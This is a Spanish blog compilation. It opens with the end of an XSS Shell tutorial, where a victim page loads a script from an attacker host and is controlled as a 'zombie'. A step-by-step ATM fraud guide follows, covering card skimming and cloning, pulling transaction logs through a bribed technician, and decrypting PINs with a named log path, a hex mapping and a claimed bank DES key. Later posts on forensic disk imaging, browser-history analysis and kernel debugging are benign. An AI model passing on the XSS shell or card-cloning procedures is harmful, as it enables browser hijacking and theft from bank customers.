Ahora abra su interfaz de administración desde el navegador,
Para probarlo, basta con modificar "sample_victim / default.asp" código fuente y reemplazar "http://attacker:81/release/xssshell.js" URL con su propia URL del tipo XSS Shell. Abrir "sample_victim" carpeta en cualquier otro navegador y puede ser subido a otro servidor.

Ahora debería poder ver un zombi en la interfaz de administración. Sólo tiene que escribir algo en "parámetros" área de texto y haga clic en "alert ()". Usted debe ver un mensaje de alerta en el navegador de la víctima.

Video De Una Xss Shell Funcionando

Descarga
http://www.megaupload.com/?d=XZMGB24Z

Hacking Atm`s cajeros automaticos

2010-09-21T06:44:00.000-07:00

Esto lo encontre via diosdelared en el blog de ze0max , me paresio interezante y lo comparto con el blog.

--------------------------------------------------------------------------------------------------------------

FUENTE PARA SI QUIEREN LEERLO MEJOR AQUI NO SE ILUSTRA MUCHO
http://zer0max.atspace.com/

La informacion aqui presentada es solo para fines educativos no me hago responsable de los hechos
Bueno para comenzar explicare conceptos de los Atm's.

Atm's cajeros automaticos:Un cajero automático, de sus siglas en inglés "Automated Teller Machine" es un ordenador
modificado con 2 interfaces de administración, en el 90% de los casos.ya que hay atm´s portátiles,pero el tema de hoy nos compete a tratar sobre esos
atm´s que están pegados a las paredes de los bancos y que tanta curiosidad y misterio ocultan.

Estructura de un atm:
interfaz usuario que esta formado por el monitor ,teclado, lector de banda magnetica, tickera y dispensador de billetes!!

Banco: institucion financiera que administra divisas y a el dinero de sus clientes, estos no fabrican cajeros automaticos.

Empresas fabricadoras de Atm's :DIEBOLD - WINCOR NIXDORF - NCR e INTERBOLD.Hay muchas mas pero estas son las mas importantes.

Proceso de operacion en atm's interfaz-cliente:
1.-Inserta tarjeta de credito o debito
2.-Digita PIN(numero confidencial).
3.Realiza su operacion bancaria

Tecnicos de Atm's: realizan cursos en la empresa fabricante de cajeros que le vendió al banco.

En estos tres procesos el atm lee la informacion contenida en la banda magnetica que como algunos saben se les llama TRACKS o DUMPS pero en este caso
es específicamente el TRACK 2, luego verifica el PIN y lo encripta y si los datos son correctos, que sucede?, pues existe una gran red bancaria llamada
CIRRUS,SWITCH 7B, MAESTRO, CONEXUS nuestro banco conecta con el y nos permite realizar la operación que hayamos seleccionado.

Hay otra interface de administración que está oculta detrás de la pared, y contiene: monitor, conector para teclado, puertos usb, hasta floopy xD, caja de recarga de billetes!! y una especie de tickera en algunos modelos. Es obvio que los usuarios no lo pueden tocar, pero hay personal que si lo hace. Son los técnicos de atm´s, que hicieron cursos en la empresa fabricante de cajeros que le vendió al banco.

En la interface se ocultan muchas cosas y dependiendo de nuestra suerte y podamos contactar con algun tecnico,imaginense si esto ocurriera xdd , pss si lo es
asi de verdad,yo zer0max conosco gente que hace este tipo de trabajo y quiero decirles que hay mucha gente en esto, mas adelante les platico mas de esto.

Bueno primero mas que nada hablaremos de DIEBOLD, que quizas ya lo conoscas es una empresa muldialmente conocida,esta se encarga de vender atm´s a todos los bancos del mundo,estos ATMS son facil de conocer porque tienen el logotipo de DIEBOL impreso en la interfaz de usuario.

Que es lo que pasa cuando insertan los clientes sus tarjetas de debito y hacen una operación?
Lo que sucede es que su transacion es logueada en el HD del atm, asi como lo oyen los atms tienen discos duros,claro son ordenadores modificados pero estos
que sistema operativo creen que trae?, linux? no para nada traeN un simple windows xp upss ...

aqui una captura de una ventana de win xp en un ATM lol

La empresa diebold ha lanzado muchos modelos, entre ellos la serie optiva, con procesadores PIV, con Windows XP instalado! y corren el sistema AGILIS ,que es un programa fabricado por la DIEBOLD y que se puede modificar para que cuando te acerques al ATM veas el logo de tu banco diciéndote: Inserte su tarjeta.

Habiamos comentado que los ATM'S tienen un disco duro,pues ahi en ese disco duro se almacenan las transaciones de los clientes en forma secuencial.

Vino el nesock inserto su tarjeta en el ATM, digitó su PIN e hizo una consulta.
El atm logueo la operacion de esta manera:

;xxxxxxxxxxxxxxxx=xxxxxxxxxxxxxxxxxxxx? <<

A1B2C3D4E5F601FF<<< se cifró el PIN (1234) fue lo que insertó "es solo un ejemplo"

operación: CONSULTA<<<] se registró el tipo de transacción

Luego vino Bx que estaba atras de nesock esperando turno inserto su tarjeta en el ATM, digitó su PIN e hizo un retiro

;xxxxxxxxxxxxxxxx=xxxxxxxxxxxxxxxxxxxx? <<< se leyó el track 2 de la tarjeta

FFFFAAAA541D2EAF<<

operación: RETIRO <<< se registró el tipo de transacción

Asi secuencialmente se guardan esos logs en el disco duro, y el log empieza a crecer.
Logico esto no es el formato en que se guardan los logs,este formato varia segun el fabricante.
Un log de la DIEBOLD no será igual en formato a un log de la WINCOR NIXDORF, y así sucesivamente.

Encriptacion PIN

Qué tipo de cifrado se usa para cifrar el PIN?
Usan DES, Data Encryption Standar, DES se basa en una key (una llave de 16 dígitos en hexa) para cifrar y desencriptar, hay bancos que usan 2DES y 3DES que se basan en 2 y 3 llaves y nos hacen la tarea un poco más difícil.

En resumen, si tenemos esa llave de 16 dígitos en hexa, podemos desencriptar el número de identificación personal que tipio el usuario, y con el TRACK 2 podemos hacer un clon de la tarjeta de débito, pero el principal reto, es obtener el log. ya vamos a eso, xD.

Primero quisiera hablar un poco del proceso de clonacion de tarjetas de credito-debito:

Material necesario

SKIMER

Con este aparito pequeño deslizamos una tarjeta sobre el y los tracks de la banda magnetica se guardan sobre el,este se conecta ala computadora y a quemar tarjetas.
Como las quemo? pss observa ..

MSR

El MSR se encarga de quemar la tarjeta,osea grabar los tracks en la nueva tarjeta en blanco, con la ayuda de un software

Ya tenemos todo vamos con la tarjeta en blanco a un atm la

Track2+tarjeta en blanco+msr+sofwarer+pin obtenido+tecnico atm =Mucho Cash en atm xddd

A pero no he explicado como decifrar el PIN es la intencion

Voy a decir que ese log en la serie optiva de la DIEBOLD, se encuentra en el archivo message.trc dentro de la ruta c:\diebold\css\
haciendo un análisis del message.trc tendríamos:

message.trc de la diebold están registrados entre el ; y el ?

6012883350096006=11111200000004919321

Este track2 contiene la numeración que está impresa en la tarjeta de debito: 6012883350096006

Guauuuu un banco xd , psss cada entidad tiene su propia numeración, pero el punto es que con este track, podemos construir una tarjeta de debito idéntica,
o sea un clon(como les comente arriba). También podemos apreciar el PIN que está cifrado y que es : =254=967:658==>

Para poder desencriptarlo necesitamos conocer la nomenclatura para llevarlo a hexa.
La nomenclatura es la siguiente y según veo se comporta como un estándar bancario

A es :
B es ;
C es <
D es =
E es >
F es ?

Con esta pequeña tabla podemos traducir: =254=967:658==> a AD254D967A658DDE

Una vez que tenemos el PIN en sus 16 dígitos hexa, necesitamos la llave DES (KEY DES) para desencriptarlo. En este caso la llave DES para desencriptarlo es
0123456789abcdef

es algo facil no? bueno esa era la llave DES que usaba BANESCO jaja, creo saber que le dieron durisimo este año.

Como la desencriptamos? no creo que tenga que responder eso, hay muchos programas para hacerlo que usan el algoritmo DES. como crypto calculator III , atmdes, safedes, etc.
El PIN desencriptado sería 6158FFFFFFFFFFFF
donde 6158 sería el PIN de cuatro dígitos que tipio el cliente, y F sería el path.
Con estos datos ya podríamos hacer una consulta, ya que hay hardware para grabar en bandas magnéticas, como la famosa msr206, etc.
Pienso extender esto ya que merece interés, doy esta información porque pienso que se debe saber el por qué de las cosas. ¿Son tan seguros los bancos administrando nuestro dinero? me temo que no xD.

Antes de despedirme quiero contar una anecdota.

Yo zer0max tengo un amigo de aqui de mi ciudad el men se dedica a esto,me acuerdo andaba en banking conmigo hace tiempo con bancomer pero nos fallo por falta de tiempo,ahora el contactó con un tecnico de ATM que se encarga de sacar los logs del disco duro del ATM y unos amigos que concocen Desencriptan el PIN usando el DESKEY del banco dado.

FUENTE PARA SI QUIEREN LEERLO MEJOR AQUI NO SE ILUSTRA MUCHO
http://zer0max.atspace.com/

Adquisición de evidencias

2010-08-12T06:59:00.000-07:00

Otra muy buena entrada de neofito.

Ya hemos hablado aquí de WinFE, una distribución live de Windows Vista orientada principalmente al campo del computer forensics. Vamos a sacarle partido en estas líneas y desarrollar la forma de utilizarla para la adquisición de evidencias, clonado del sistema objetivo de análisis o imaging, que queda como más mejor.

No estoy diciendo que sea mejor utilizar WinFE en lugar de los clásicos live-CD de Linux, ni es mi intención iniciar una de esas batallas que al final no conducen a nada; cada cual utilice aquello con lo que se sienta más comodo, pero al menos que conozca las alternativas.

Pero dado que no soy analista forense y por lo tanto no tengo la necesidad de este tipo de proceso, ¿como es que empezó todo esto?

Introducción, presentación o planteamiento

En mi trabajo son numerosas las ocasiones en que me encuentro con PCs prácticamente inusables, atestados hasta las trancas por todo tipo de fauna y flora que parece que les hayan puesto un felpudito en la entrada de esos de "Bienvenidos, estáis en vuestra casa".

Como soy de natural curioso enseguida me emociono pensando en iniciar un análisis que me permita detectar cuando empezó la infección, como se llevó a cabo y cual ha sido el alcance, pero el tiempo apremia y los clientes quieren un trabajo "bueno, bonito y barato"; ésto último sin duda, y principalmente por mis carencias, elimina de un plumazo cualquier atisbo de ilusión.

Sin embargo últimamente, y con el beneplácito del cliente, intento clonar el disco afectado del modo más "forénsico" posible (diós que mal suena la palabreja) para ya en mi casa, mucho más tranquilo y con la disponibilidad que consigo arrancarle a mi ya de por sí mermado tiempo libre, meterme en harina. Pero esa es otra historia que, queráis o no, acabaré contándoos otro día.

La unica duda que me quedaba era si WinFE realmente respetaba la máxima del análisis forense la cual establece que, a ser posible, no deben alterarse las evidencias. Para resolverla calculé antes de empezar el proceso la suma md5 para el disco objeto de clonado volviendo a calcular a posteriori la suma md5. Utilizando clonezilla, una vez dentro de la shell y con el sistema cargado en RAM, basta con un simple comando:

# md5sum /dev/sda

Finalizada la segunda ejecución del comando la suma md5 final coincide con la suma md5 inicial, así que el disco no ha sido alterado.

Desarrollo, complicación o nudo

Pongamos que tenemos un disco A de 160 GB extraído del PC víctima y un disco B de 500 GB conectados ambos a nuestra estación de trabajo, un simple PC, con una unidad de CD/DVD. Durante el encendido nos aseguramos de entrar en la pantalla de la BIOS para configurar el arranque desde esta última.

Ni que decir tiene que si por error el ordenador arrancase utilizando el sistema operativo instalado en el disco A podríamos despedirnos de utilizarlo como prueba en un proceso judicial, al menos siguiendo al pie de la letra el manual de las buenas prácticas para todo analista forense, o al menos aquel que por tal se tenga.

Con nuestro flamante WinFE recién tostadito en la unidad de CD/DVD, y creado según los pasos indicados aquí, arrancamos el sistema hasta alcanzar el prompt de la línea de comandos, nuestro querido y a menudo denostado cmd.

Por las características intrínsecas y deseables asociadas a WinFE ninguno de los discos duros de que dispone el sistema ha sido accedido, automontado o alterado en modo alguno. Teniendo en cuenta que nuestro objetivo es clonar el disco A o víctima en el disco B o destino y dado que hemos sido aplicados y hemos saneado previamente este último utilizando DBAN, por eso de no contaminar las evidencias, primero tendremos que particionarlo, asignarle una letra de unidad y formatearlo. La serie de comandos necesarios para ello quedaría como sigue:

X:\windows\system32>diskpart
 
Microsoft DiskPart versión 6.0.6000
Copyright (C) 1999-2007 Microsoft Corporation.
En el equipo: MININT-E1NAUD0
 
DISKPART> list disk
 
  Núm Disco  Estado      Tamaño   Disp     Din  Gpt
  ---------- ----------  -------  -------  ---  ---
  Disco 0    En pantall   149 GB    37 GB
  Disco 1    En pantall   466 GB   466 GB
 
DISKPART> select disk 1
 
El disco 1 es ahora el disco seleccionado.
 
DISKPART> create partition primary
 
DiskPart ha creado satisfactoriamente la partición especificada.
 
DISKPART> assign letter=K
 
DiskPart asignó correctamente una letra de unidad o punto de montaje.
 
DISKPART> format fs=ntfs label=images quick
 
  100 por ciento completado
 
DiskPart formateó el volumen correctamente.
 
DISKPART> exit
 
Saliendo de DiskPart...
 
X:\windows\system32>

Ahora que tenemos preparado el disco de destino y que éste puede ser accedido por cualquiera de las utilidades lanzadas desde WinFE ya podemos iniciar el clonado, para el cual utilizaré por su simplicidad y bajo coste (0 si tenemos en cuenta que es gratuita) FTK Imager Lite. Recordar que no tenemos entorno gráfico así que lo lanzaremos desde la línea de comandos:

X:\windows\system32>"..\Program Files\FTK\FTK Imager.exe"

Una vez iniciado el programa menú "File", "Create Disk Image..."; en la nueva ventana de diálogo marco "Physical Drive" y en el siguiente desplegable selecciono la entrada "\\.\PHYSICALDRIVE0 - [160GB]" y pulso "Finish", con lo que llego a la ventana de control del proceso de clonado o "Create Image" tal como reza en la barra de título.

Pulsando el botón "Add..." comienzo con la selección de las características de la imagen resultante así que primero "Raw (dd)" y "Siguiente", indico los datos de interés para el registro del caso (Case Number, Evidence Number, Unique Description, Examiner y Notes) y "Siguiente" para llegar al penúltimo paso.

Para el campo "Image Destination Folder" paso del botón "Browse" ya que no sirve de nada ejecutándose sobre un live-CD y manualmente introduzco "K:\", o lo que es lo mismo la letra de unidad asignada anteriormente mediante DiskPart; para el campo "Image Filename" introduzco "winmediacenter" (o lo que mejor se adapte); para el campo "Image Fragment Size (MB)" introduzco 0, evitando de esa forma que la imagen resultante termine dividida y para el resto de parámetros servirán los que aparecen por defecto.

De vuelta en la ventana "Create Image" dejo marcado "Verify images after they are created" y si quiero saber de antemano el tiempo que empleará el proceso de clonado marco "Precalculate Progress Statistics". Pulsar el botón "Start" provoca el inicio del proceso que, en este caso, termina tras aproximadamente una hora y media.

Desenlace final

El proceso finaliza con la ventana "Drive/Image Verify Results", la cual incluye los hashes MD5 y SHA1 de la imagen así como la cuenta de sectores clonados, si se han encontrado sectores defectuosos y el nombre final para la imagen, "winmediacenter.001". No será necesario que apuntemos los valores ya que si una vez cerrado "FTK Imager" examinamos el contenido del disco B o destino:

X:\windows\system32>dir K:\
 El volumen de la unidad K es IMAGES
 El número de serie del volumen es: C05A-87A0
 
 Directorio de K:\
 
22/05/2010  17:06    160.041.885.696  winmediacenter.001
18/05/2010  19:42              1.074  winmediacenter.001.txt
               2 archivos 160.041.886.770 bytes
               0 dirs  339.954.167.808 bytes libres

encontraremos un fichero de texto, winmediacenter.001.txt, con la información anterior.

Para apagar la estación de trabajo bastará con cortar la corriente (vamos, tirar del cable) o mas elegantemente:

X:\windows\system32>wpeutil shutdown

Y por último un documento muy detallado, encontrado en Forensic Focus, sobre WinFE y todos los detalles necesarios para su creación y personalización.

Hasta pronto, espero.

FUENTE: http://neosysforensics.blogspot.com/2010/05/adquisicion-de-evidencias.html

Web Historian

2010-08-12T06:57:00.000-07:00

Hola lectores,

Hace mucho tiempo que voy siguiendo la evolución de la empresa MANDIANT que dispone de muchos productos curiosos y productos FREE de lo más interesantes.

Hoy quiero hablar de una herramienta que me ha ayudado en la búsqueda de evidencias forenses en la navegación web y que es de una ayuda incalculable (¡¡ Bravo por los chicos de MANDIANT !!)

Ni que decir tiene existen muchas herramientas en modo comando como 'pasco' o 'galleta', pero he seleccionado esta por su sencillez y rapidez a la hora de elaborar un informe forense.

Estamos hablando de Web Historian.

Web Historian es un programa que permite a un investigador reunir, mostrar y analizar datos de la navegación que se haya producido en un equipo. Más allá de esta simple definición, la herramienta ofrece una interfaz gráfica pero simplista de ver y navegar con grandes volúmenes de datos.

Tal vez la característica más potente es la capacidad de relacionar y ofrecer múltiples puntos de vista de los datos (incluyendo gráficos y línea de tiempo) a través del analizador y la herramienta web de perfiles, con la esperanza de que los investigadores podamos llegar a conclusiones acerca de los datos que nos proporciona.

En la siguiente imágen podemos apreciar la cantidad de navegadores que soporta

Una vez que pulsamos el boton de 'start' comienza el escaneo del equipo en busca de la información de navegación, también es interesante resaltar que podemos copiar los ficheros de historico de otro equipo al que previamente hemos clonado y obtenido sus huellas, para posteriormente tratarlo en el equipo del investigador con el objeto de no alterar posibles pruebas.

Esta pantalla es el resultado del escaneo: (se han tapado datos por motivos de confidencialidad)

Desde ella podemos filtrar, en busca de objetos, imágenes, campos ocultos, etc. Como se puede apreciar dispone de muchos de ellos ya predefinidos y también podemos crearnos los nuestros.

Otra de las carácterisiticas importantes es la obtención de miniaturas ya algunos navegadores graban una instantánea de la imagen de las páginas web que se han accedido. Actualmente, Chrome y Safari son los únicos navegadores que recogen imágenes en miniaturas.

Para ver las miniaturas, disponemos de la ficha "thumbnails".

Website Analyzer

El analizador de sitios web es una representación gráfica muy útil para reducir el tiempo de análisis de grandes conjuntos de datos del historial web con estadísticas e informes visuales.

Para iniciarlo tenemos en Herramientas-> Analizar, en esta versión de momento hay cuatro informes que se pueden ejecutar sobre los datos. Para ejecutar un informe, primero debemos cargar los datos del historial web.

Cualquier informe generado o gráficos se pueden guardar como una imagen PNG para su inclusión en un informe externo.Los informes que puede generar son variados, por ejemplo el circular por dominio permite ver la frecuencia de visita de cada sitio web en el conjunto de datos, y el de línea de tiempo es perfecto para ver la frecuencia por horas.

Y por último otra de las grandes utilidades es el Web Profiler, que permite disponer de una visión completa del sitio visitado.

Lo dicho, otra herramienta (gratuita) que debemos de tener en nuestra caja de herramientas.

Podemos descargarnos esta utilidad desde la web de MANDIANT desde aquí :

http://www.mandiant.com/products/free_software/web_historian/

Fuente:
http://conexioninversa.blogspot.com/2010/08/web-historian.html

Agradecimientos a pedro sanchez por el articulo.

Usando la estructura KPCR en nuestro beneficio

2010-08-12T06:55:00.000-07:00

Articulo visto en el blog de neofito
-----------------------------------------------------------------------------------------------------------

En la búsqueda de procesos o drivers maliciosos ocultos cargados en memoria resultan de vital interés determinadas variables que contienen información relevante respecto al estado del kernel en el sistema en que Windows se está ejecutando. En este artículo y probablemente otro venidero descubriremos como acceder al contenido de estas variables, las estructuras que las contienen y algunas cosas más.

El "truco", inicialmente publicado por Edgar Barbosa en el paper "Finding some non-exported kernel variables in Windows XP", y posteriormente completado por Alex Ionescu en su artículo "Getting Kernel Variables from KdVersionBlock, Part 2" para rootkit.com se basa en el contenido de la estructura KPCR.

Esta estructura, ubicada en la dirección de memoria apuntada por el registro FS para sistemas x86 y el registro GS en sistemas x64, es utilizada por el kernel como almacén de información específica para cada procesador disponible en el sistema. En Windows XP/2003 siempre podremos encontrarla en la dirección 0xffdff000 pero en Windows Vista, y como consecuencia de la funcionalidad ASLR, esta dirección no es fija. Por último indicar, tal como aparece reflejado en la quinta edición de Windows Internals, que en sistemas IA64 la estructura KPCR siempre se ubicará en la dirección 0xe0000000ffff0000.

Vamos a analizar el contenido de la KPCR haciendo un poco de local kernel debugging con Windbg pero para poder continuar, y dado que lo único que tengo a mano es un Windows Vista, primero tendremos que preparar el sistema para ello.

Kernel Debugging en Windows Vista

Si abrimos WinDbg, menú File, Kernel Debug... y en el diálogo que aparece seleccionamos la pestaña Local y pulsamos Aceptar sólo obtendremos un mensaje de error indicando que será necesario arrancar el sistema en modo debug:

Como suelo trastear habitualmente con el proceso de local kernel debugging agregaré una entrada en el cargador de arranque de Windows Vista para no tener que activar dicha funcionalidad y reiniciar el sistema en cada ocasión. Los pasos:

Copiamos la entrada configurada por defecto y le asignamos, por ejemplo, Debugentry como descripción. El número que aparece entre llaves se conoce como GUID y representa un identificador único asignado por Windows para la nueva entrada generada en el cargador de arranque.
```
C:\Users\javi>bcdedit /copy {current} /d DebugEntry
La entrada se copió correctamente en {2663707c-6f45-11df-8ecc-005056c00008}.
```

Modificamos el orden de aparición de las entradas del cargador de arranque para establecer Debugentry como segunda opción:

C:\Users\javi>bcdedit /displayorder {current} {2663707c-6f45-11df-8ecc-005056c00008}
La operación se ha completado correctamente.

Por último activamos la funcionalidad de debug para la segunda de las opciones mostradas durante el arranque:

C:\Users\javi>bcdedit /debug {2663707c-6f45-11df-8ecc-005056c00008} on
La operación se ha completado correctamente.

Una vez reiniciado el sistema ya podemos abrir una sesión de local kernel debug. Es importante resaltar que este tipo de debug no es el más adecuado ya que para hacer las cosas bién deberíamos utilizar dos sistemas, uno el que analiza y otro el analizado, o incluso una máquina virtual como sistema a analizar, pero para aprender un poco como funciona Windows internamente este tipo de debugging es más que aceptable.

Analizando la KPCR (Kernel Processor Control Region)

La extensión del depurador en modo kernel !pcr nos mostrará, por defecto, información del primer procesador o procesador 0. Si en un sistema con varios núcleos, ya sean físicos o lógicos, indicamos expresamente el número de procesador obtendremos información específica del mismo. Un ejemplo para la salida del comando en mi sistema:

lkd> !pcr
KPCR for Processor 0 at 81d40800:
    Major 1 Minor 1
 NtTib.ExceptionList: 8a513814
     NtTib.StackBase: 00000000
    NtTib.StackLimit: 00000000
  NtTib.SubSystemTib: 80151000
       NtTib.Version: 002a76c5
   NtTib.UserPointer: 00000001
       NtTib.SelfTib: 7ffde000
 
             SelfPcr: 81d40800
                Prcb: 81d40920
                Irql: 00000002
                 IRR: 00000000
                 IDR: ffffffff
       InterruptMode: 00000000
                 IDT: 81bff400
                 GDT: 81bff000
                 TSS: 80151000
 
       CurrentThread: 8469a218
          NextThread: 00000000
          IdleThread: 81d44640
 
           DpcQueue:

El resultado muestra un resumen de los valores asignados a cada uno de los campos de la estructura KPCR. De hecho, ahora que ya conocemos la dirección en memoria para la estructura correspondiente al primer procesador del sistema podremos consultar su contenido y formato con el comando:

lkd> dt nt!_KPCR 81d40800
   +0x000 NtTib            : _NT_TIB
   +0x000 Used_ExceptionList : 0x80e96a3c _EXCEPTION_REGISTRATION_RECORD
   +0x004 Used_StackBase   : (null) 
   +0x008 Spare2           : (null) 
   +0x00c TssCopy          : 0x80151000 Void
   +0x010 ContextSwitches  : 0x2b37f0
   +0x014 SetMemberCopy    : 1
   +0x018 Used_Self        : 0x7ffde000 Void
   +0x01c SelfPcr          : 0x81d40800 _KPCR
   +0x020 Prcb             : 0x81d40920 _KPRCB
   +0x024 Irql             : 0x2 ''
   +0x028 IRR              : 0
   +0x02c IrrActive        : 0
   +0x030 IDR              : 0xffffffff
   +0x034 KdVersionBlock   : 0x81d3fc70 Void
   +0x038 IDT              : 0x81bff400 _KIDTENTRY
   +0x03c GDT              : 0x81bff000 _KGDTENTRY
   +0x040 TSS              : 0x80151000 _KTSS
   +0x044 MajorVersion     : 1
   +0x046 MinorVersion     : 1
   +0x048 SetMember        : 1
   +0x04c StallScaleFactor : 0x7cb
   +0x050 SpareUnused      : 0 ''
   +0x051 Number           : 0 ''
   +0x052 Spare0           : 0 ''
   +0x053 SecondLevelCacheAssociativity : 0 ''
   +0x054 VdmAlert         : 0
   +0x058 KernelReserved   : [14] 0
   +0x090 SecondLevelCacheSize : 0
   +0x094 HalReserved      : [16] 0
   +0x0d4 InterruptMode    : 0
   +0x0d8 Spare1           : 0 ''
   +0x0dc KernelReserved2  : [17] 0
   +0x120 PrcbData         : _KPRCB

Para el propósito de este artículo resultan de interés concretamente dos campos de la estructura anterior: el primero de ellos, SelfPcr, se encuentra en el offset 0x01c y, como podemos observar, no es más que un puntero a la estructura en sí misma. El otro campo interesante sería KdVersionBlock, que se ubica en el offset 0x034 y también es un puntero. Lo curioso de este último campo es que en Windows 2000 aparecía definido como Reserved2 y su valor siempre era 0x0, es decir, era un campo reservado. Pero ahora, ¿a dónde apunta este campo?

DBGKD_GET_VERSION64 o lo que conlleva tirar del hilo

Vamos a obtener un volcado de la memoria utilizando el puntero contenido en el campo KdVersionBlock de la estructura KPCR y mostrando, por defecto, 32 DWORDS (128 bytes):

lkd> dd 81d3fc70
81d3fc70  1772000f 00030006 030c014c 0000002e
81d3fc80  81c48000 ffffffff 81d5fc70 ffffffff
81d3fc90  81f63fec ffffffff 81f63fec 81f63fec
81d3fca0  00000000 00000000 4742444b 00000330
81d3fcb0  81c48000 00000000 81cf3ab8 00000000
81d3fcc0  00000000 00000000 00080128 00010018
81d3fcd0  81cf5000 00000000 00000000 00000000
81d3fce0  81d5fc70 00000000 81d55990 00000000

Los primeros 10 DWORDS se corresponden con la estructura _DBGKD_GET_VERSION64, así que dejemos que WinDbg interprete el contenido de la memoria por nosotros:

lkd> dt nt!_DBGKD_GET_VERSION64 81d3fc70
   +0x000 MajorVersion     : 0xf
   +0x002 MinorVersion     : 0x1772
   +0x004 ProtocolVersion  : 0x6 ''
   +0x005 KdSecondaryVersion : 0 ''
   +0x006 Flags            : 3
   +0x008 MachineType      : 0x14c
   +0x00a MaxPacketType    : 0xc ''
   +0x00b MaxStateChange   : 0x3 ''
   +0x00c MaxManipulate    : 0x2e '.'
   +0x00d Simulation       : 0 ''
   +0x00e Unused           : [1] 0
   +0x010 KernBase         : 0xffffffff`81c48000
   +0x018 PsLoadedModuleList : 0xffffffff`81d5fc70
   +0x020 DebuggerDataList : 0xffffffff`81f63fec

También existe la estructura _DBGKD_GET_VERSION32, o sea, una versión de 32 bits, pero parece que ha sido deshechada en favor de la anterior. Podemos obtener el tipo y función para cada uno de los campos si analizamos el fichero de cabecera windbgexts.h que acompaña a las Debugging Tools de Microsoft y que localizaremos en:

C:\Program Files\Debugging Tools for Windows (x86)\sdk\inc

Una vez hecho el inciso volvamos al resultado anterior y centrémonos en uno de los campos: DebuggerDataList. Resulta que se trata de la cabecera de una lista doblemente enlazada cuya finalidad es contener punteros por si se definen nuevos "debug data blocks" para extensiones del depurador. Lo más importante es que esta lista siempre tendrá al menos un miembro, el cual será utilizado por el depurador para acceder a diferentes variables definidas por el kernel y que serán almacenadas en una estructura especial, _KDDEBUGGER_DATA64 (de nuevo la versión de 32 bits ha sido deshechada). Para empezar obtengamos la dirección donde encontraremos esta estructura:

lkd> dd 81f63fec
81f63fec  81d3fc98 81d3fc98 00000000 00000000
81f63ffc  00000000 00000000 00000000 00000000
81f6400c  00000000 00000000 00000000 00000000
81f6401c  00000000 00000000 00000000 00000000
81f6402c  00000000 00000000 00000000 00000000
81f6403c  00000000 00000000 00000000 00000000
81f6404c  00000000 00000000 00000000 00000000
81f6405c  00000000 00000000 00000000 00000000

Como en esta ocasión la estructura _KDDEBUGGER_DATA64 se encontrará, habitualmente, justo a continuación de la estructura _DBGKD_GET_VERSION64, pero dado que esto no es imprescindible es mejor asegurarnos con el procedimiento anterior; en este sentido también será muy revelador encontrar el valor hexadecimal 4742444b (KDBG en ASCII) en el offset 0x16. Una vez confirmado que la dirección de memoria es 81d3fc98 podemos seguir interpretando el resto del volcado, es decir:

81d3fc90                    81f63fec 81f63fec
81d3fca0  00000000 00000000 4742444b 00000330
81d3fcb0  81c48000 00000000 81cf3ab8 00000000
81d3fcc0  00000000 00000000 00080128 00010018
81d3fcd0  81cf5000 00000000 00000000 00000000
81d3fce0  81d5fc70 00000000 81d55990 00000000

Lamentablemente no podremos utilizar windbg directamente para que interprete los valores por nosotros:

lkd> dt nt!_KDDEBUGGER_DATA64 81d3fc98
Symbol nt!_KDDEBUGGER_DATA64 not found.

¿o tal vez si?

Programando extensiones para el depurador

A mi parecer, una de las funcionalidades más interesantes de las herramientas de depuración de Microsoft, aka las Debugging Tools, es la posibilidad de ampliar el número de comandos disponibles mediantes extensiones del depurador. Estas extensiones se implementan como librerías dll que una vez cargadas nos permitirán utilizar los comandos que exportan.

Dado que no soy programador y no quería eternizar la aparición de este mensaje me puse a buscar en internet y utilicé las siguientes fuentes como ayuda para mi objetivo: generar una extensión que me permita obtener semiautomáticamente toda la información volcada en este artículo de forma manual.

La primera de las fuentes proviene del siguiente thread, "Récup IDT, GDT , etc. sur systèmes MP". Allí podremos descargar y entender el funcionamiento de una extensión del depurador que nos permitirá volcar la estructura _KDDEBUGGER_DATA64, entre otras cosas.

La segunda de las fuentes, "Setup A Windbg Extension In VisualStudio 2008", contiene una plantilla para el compilador MS Visual Studio 2008 (una vez convertida servirá igualmente para la versión 2010 de este compilador) preparada para que únicamente tengamos que preocuparnos de implementar nuestros propios comandos, los cuales serán exportados por dll.

Reconocidas e incluidas las fuentes, para utilizar mi extensión bastará con descargarla, extraer la dll adecuada (está la versión compilada en XP y la versión compilada en Windows Vista) en el siguiente directorio:

C:\Program Files\Debugging Tools for Windows (x86)\winext

Ahora habrá que cargarla en el depurador y lanzar adecuadamente el comando exportado, pasándole como parámetro la direccion de la estructura KPCR, para obtener todo el contenido mostrado en este mensaje pero de forma "automágica":

lkd> .load AvidExt.dll
lkd> !mycmd 81d40800
 
Direccion de la estructura _KPCR: 81d40800
Puntero en _KPCR.KdVersionBlock : 81d3fc70
 
_DBGKD_GET_VERSION64 en 81d3fc70
   +0x000 MajorVersion        : 0xf
   +0x002 MinorVersion        : 0x1772
   +0x004 ProtocolVersion     : 0x6
   +0x005 KdSecondaryVersion  : 00
   +0x006 Flags               : 0x3
   +0x008 MachineType         : 0x14c
   +0x00a MaxPacketsType      : 0xc
   +0x00b MaxStateChange      : 0x3
   +0x00c MaxManipulate       : 0x2e
   +0x00d Simulation          : 00
   +0x00e Unused              : 00
   +0x010 KernBase           : 0xffffffff81c48000
   +0x018 PsLoadedModuleList : 0xffffffff81d5fc70
   +0x020 DebuggerDataList   : 0xffffffff81f63fec
 
_KDDEBUGGER_DATA64 en 81d3fc98
   +0x000 DBGKD_DEBUG_DATA_HEADER64 : _DBGKD_DEBUG_DATA_HEADER64
      +0x000 LIST_ENTRY64 : _LIST_ENTRY64
         +0x000 Flink   : 0x81f63fec
         +0x008 Blink   : 0x81f63fec
      +0x016 OwnerTag   : 0x4742444b
      +0x020 Size       : 0x000330
   +0x024 KernBase                 : 0xffffffff81c48000
   +0x032 BreakpointWithStatus     : 0xffffffff81cf3ab8
   +0x040 SavedContext             : 0
   +0x048 ThCallbackStack          : 0x128
   +0x050 NextCallback             : 0x8
   +0x052 FramePointer             : 0x18
   +0x054 PaeEnabled               : 0x1
   +0x056 KiCallUserMode           : 0xffffffff81cf5000
   +0x064 KeUserCallbackDispatcher : 0
   +0x072 PsLoadedModuleList       : 0xffffffff81d5fc70
   +0x080 PsActiveProcessHead      : 0xffffffff81d55990
   +0x088 PspCidTable              : 0xffffffff81d559b4
   Continua...

No aparecen todos los campos de la estructura _KDDEBUGGER_DATA64 (son muchos) pero servirá para hacernos una idea y de paso aprender algo más sobre las herramientas de depuración de Windows. No obstante, y dado que he incluido el código fuente, siempre puede modificarse para mostrarla en su totalidad.

